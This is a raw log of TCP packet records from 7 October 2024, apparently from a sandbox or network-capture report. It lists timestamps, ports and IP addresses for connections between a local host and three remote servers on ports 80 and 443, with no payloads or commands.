Oct 7, 2024 07:14:50.878767967 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.878779888 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.879446030 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.879496098 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.879513025 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.879525900 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.879535913 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.879550934 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.882488012 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.882544041 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.882631063 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.882672071 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.882726908 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.882767916 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.882895947 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.882914066 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.882960081 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.882976055 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.883001089 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.883012056 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.883282900 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.883328915 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.883444071 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.883487940 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.883600950 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.883641005 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.883774042 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.883816004 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.883949995 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.883991003 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.884144068 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.884186983 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.884342909 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.884365082 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.884385109 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.884397030 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.884479046 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.884495020 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.884521961 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.884531975 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.885030985 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.885072947 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.885165930 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.885204077 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.885349989 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.885391951 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.887398005 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.887414932 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.887435913 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.887455940 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.887455940 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.887475014 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.887487888 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.887523890 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.887794971 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.887834072 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.887842894 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.887877941 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.887949944 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.887984991 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.887990952 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.888021946 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.888170958 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.888207912 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.888223886 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.888252974 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.888386011 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.888422966 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.888433933 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.888472080 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.888601065 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.888644934 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.888715982 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.888756037 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.888819933 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.888864040 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.888897896 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.888942003 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.889033079 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.889075041 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.889137983 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.889178038 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.899583101 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.033662081 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.033747911 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.033761978 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.033811092 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.033823013 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.033859968 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.033862114 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.033895969 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.033895969 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.033932924 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.033952951 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.033987999 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.033992052 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034025908 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034025908 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034061909 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034063101 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034096956 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034097910 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034136057 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034152031 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034188032 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034213066 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034219980 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034225941 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034257889 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034257889 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034295082 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034570932 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034620047 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034629107 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034666061 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034667969 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034718037 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034720898 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034754992 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034775019 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034805059 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034811020 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034846067 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034857035 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034881115 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034889936 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034915924 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034928083 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034953117 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034957886 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.034986973 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.034996033 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035022974 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035032034 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035062075 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035063028 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035100937 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035131931 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035173893 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035187960 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035223007 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035228014 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035263062 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035340071 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035376072 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035399914 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035428047 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035434008 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035470963 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035480022 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035516024 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035599947 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035634041 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035645008 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035665989 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035669088 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035705090 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035712004 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035757065 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035799980 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035834074 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035845995 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035871983 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.035876989 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.035912991 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.036135912 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.036183119 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.036205053 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.036247015 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.036252022 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.036283970 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.036289930 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.036330938 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.036330938 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.036365986 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.036379099 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.036413908 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.036497116 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.036531925 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.036540985 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.036566973 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.036576033 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.036602974 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.036612034 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.036648035 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.038378954 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233527899 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233608961 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233608007 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233623981 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233653069 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233659983 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233673096 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233694077 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233702898 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233731985 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233736038 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233745098 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233769894 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233778954 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233782053 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233817101 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233823061 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233851910 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233859062 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233900070 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233915091 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233947992 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.233959913 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233982086 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.233983040 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234015942 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234031916 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234050035 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234050989 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234083891 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234091043 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234119892 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234123945 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234136105 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234153986 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234158039 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234191895 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234194040 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234232903 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234247923 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234262943 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234285116 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234303951 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234343052 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234345913 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234390020 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234400034 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234452963 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234492064 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234525919 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234543085 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234560013 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234560966 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234596968 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234602928 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234637976 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234684944 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234719992 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234752893 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234755039 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234776020 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234791994 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234838009 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234873056 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234889030 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234913111 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.234916925 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234946966 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.234958887 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235001087 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235084057 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235119104 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235131025 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235152006 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235162973 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235188961 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235198021 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235224009 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235244036 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235269070 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235369921 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235435009 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235440016 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235469103 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235481977 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235502958 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235512972 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235538960 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235548019 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235575914 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235584021 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235613108 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235620022 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235656023 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.235678911 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.235723019 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.320040941 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:51.320115089 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:51.985970020 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:54.317521095 CEST	80	49169	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:54.317589045 CEST	49169	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:55.940862894 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:55.940912962 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:55.940960884 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:55.944649935 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:55.944662094 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:55.949387074 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:55.949407101 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:55.949449062 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:55.949883938 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:55.949892044 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:56.432499886 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:56.432601929 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:56.453876019 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:56.453903913 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:56.454956055 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:56.657605886 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:56.771070957 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:56.815409899 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:56.919482946 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:56.919552088 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:56.973047972 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:56.973078966 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:56.973350048 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:56.976324081 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:57.023413897 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:57.040067911 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.040255070 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.040352106 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.040374994 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.040429115 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.040585995 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.040633917 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.040647984 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.040765047 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.040817976 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.040826082 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.040923119 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.040972948 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.040981054 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.044732094 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.047271967 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.047281027 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.108089924 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.108104944 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.108236074 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.130877018 CEST	443	49171	185.199.108.133	192.168.2.22
